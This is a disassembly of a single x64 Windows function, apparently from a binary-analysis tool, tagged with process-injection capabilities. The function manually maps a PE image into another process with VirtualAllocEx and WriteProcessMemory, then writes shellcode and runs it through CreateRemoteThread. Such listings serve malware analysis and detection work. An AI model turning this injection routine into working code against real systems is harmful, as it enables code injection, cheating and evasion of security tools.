Function at 0x14003eb60
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbx
push rsi
mov eax, 0x1098
call fcn.14010fb70
sub rsp, rax
mov eax, 0x5a4d
mov rbx, rdx
mov rsi, rcx
cmp word [rdx], ax
je 0x14003eba0
lea rcx, str.Invalid_file_n
call fcn.140001640
mov rcx, rbx
call fcn.14010f500
xor al, al
add rsp, 0x1098
pop rsi
pop rbx
ret
mov qword [rsp + 0x1088], r14
mov eax, 0x8664
movsxd r14, dword [rdx + 0x3c]
add r14, rbx
cmp word [r14 + 4], ax
je 0x14003ebe3
lea rcx, str.Invalid_platform_n
call fcn.140001640
mov rcx, rbx
call fcn.14010f500
mov r14, qword [rsp + 0x1088]
xor al, al
add rsp, 0x1098
pop rsi
pop rbx
ret
lea rcx, str.File_ok_n
mov qword [rsp + 0x1080], r15
call fcn.140001640
mov r8d, dword [r14 + 0x50]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15, rax
test rax, rax
jne 0x14003ec3f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Target_process_memory_allocation_failed__ex__0x_X_n
call fcn.140001640
mov rcx, rbx
call fcn.14010f500
xor al, al
jmp 0x14003f038
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r9d, 0x1000
mov qword [rsp + 0x40], rax
mov r8, rbx
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, r15
mov qword [rsp + 0x1090], r12
mov rcx, rsi
xor r12d, r12d
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14003eca5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Cant_write_file_header_0x_X_n
call fcn.140001640
xor al, al
jmp 0x14003f030
mov qword [rsp + 0x10b0], rbp
mov ebp, r12d
mov qword [rsp + 0x10c0], rdi
movzx edi, word [r14 + 0x14]
add rdi, 0x2c
cmp word [r14 + 6], bp
je 0x14003ed07
add rdi, r14
nop dword [rax + rax]
mov eax, dword [rdi - 4]
test eax, eax
je 0x14003ecf8
mov r8d, dword [rdi]
mov r9d, eax
mov edx, dword [rdi - 8]
add r8, rbx
add rdx, r15
mov qword [rsp + 0x20], r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14003ed42
movzx eax, word [r14 + 6]
inc ebp
add rdi, 0x28
cmp ebp, eax
jne 0x14003ecd0
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbp, rax
test rax, rax
jne 0x14003ed78
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Target_process_mapping_allocation_failed__ex__0x_X_n
jmp 0x14003f011
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Cant_map_sections:_0x_x_n
call fcn.140001640
mov rcx, rbx
call fcn.14010f500
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r15
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x14003f01e
mov r9d, reloc.WLDAP32.dll_Ordinal_32
mov qword [rsp + 0x20], r12
lea r8, [rsp + 0x40]
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14003edac
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Cant_write_mapping_0x_X_n
jmp 0x14003f011
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
jne 0x14003ee16
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Memory_shellcode_allocation_failed__ex__0x_X_n
call fcn.140001640
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r15
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x14003f016
mov r9d, 0x1000
mov qword [rsp + 0x20], r12
lea r8, [0x14003f060]
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14003ee4c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Cant_write_shellcode_0x_X_n
jmp 0x14003f011
lea rcx, str.Data_allocated_n
call fcn.140001640
mov qword [rsp + 0x30], r12
mov r9, rdi
mov dword [rsp + 0x28], r12d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x14003eed5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Thread_creation_failed_0x_X_n
call fcn.140001640
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r15
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x14003f016
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, rdi
lea rcx, str.Thread_created_at:__p__waiting_for_return..._n
call fcn.140001640
nop dword [rax]
lea rdx, [rsp + 0x10b8]
mov dword [rsp + 0x10b8], r12d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov edx, dword [rsp + 0x10b8]
cmp edx, 0x103
jne 0x14003f00a
xorps xmm0, xmm0
mov qword [rsp + 0x20], r12
mov r9d, reloc.WLDAP32.dll_Ordinal_32
lea r8, [rsp + 0x60]
mov rdx, rbp
mov rcx, rsi
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm0
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rdi, qword [rsp + 0x78]
cmp rdi, 0x404040
je 0x14003effc
cmp rdi, 0x606060
je 0x14003efee
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
test rdi, rdi
je 0x14003eef0
xor edx, edx
lea rcx, [rsp + 0x80]
mov r8d, 0x1000
call sub.VCRUNTIME140.dll_memset
mov r9d, 0x1000
mov qword [rsp + 0x20], r12
lea r8, [rsp + 0x80]
mov rdx, r15
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14003efbc
lea rcx, str.WARNING_:_Cant_clear_HEADER_n
call fcn.140001640
mov ecx, 0x100000
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
test rax, rax
jne 0x14003efda
lea rcx, str.Unable_to_allocate_memory_n
call fcn.140001640
jmp 0x14003f016
xor edx, edx
mov r8d, 0x100000
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov al, 1
jmp 0x14003f020
lea rcx, str.Wrong_directory_base_relocation_n
call fcn.140001640
jmp 0x14003f016
lea rcx, str.Wrong_mapping_ptr_n
call fcn.140001640
jmp 0x14003f016
lea rcx, str.Process_crashed__exit_code:__d_n
call fcn.140001640
mov rcx, rbx
call fcn.14010f500
xor al, al
mov rbp, qword [rsp + 0x10b0]
mov rdi, qword [rsp + 0x10c0]
mov r12, qword [rsp + 0x1090]
mov r15, qword [rsp + 0x1080]
mov r14, qword [rsp + 0x1088]
add rsp, 0x1098
pop rsi
pop rbx
ret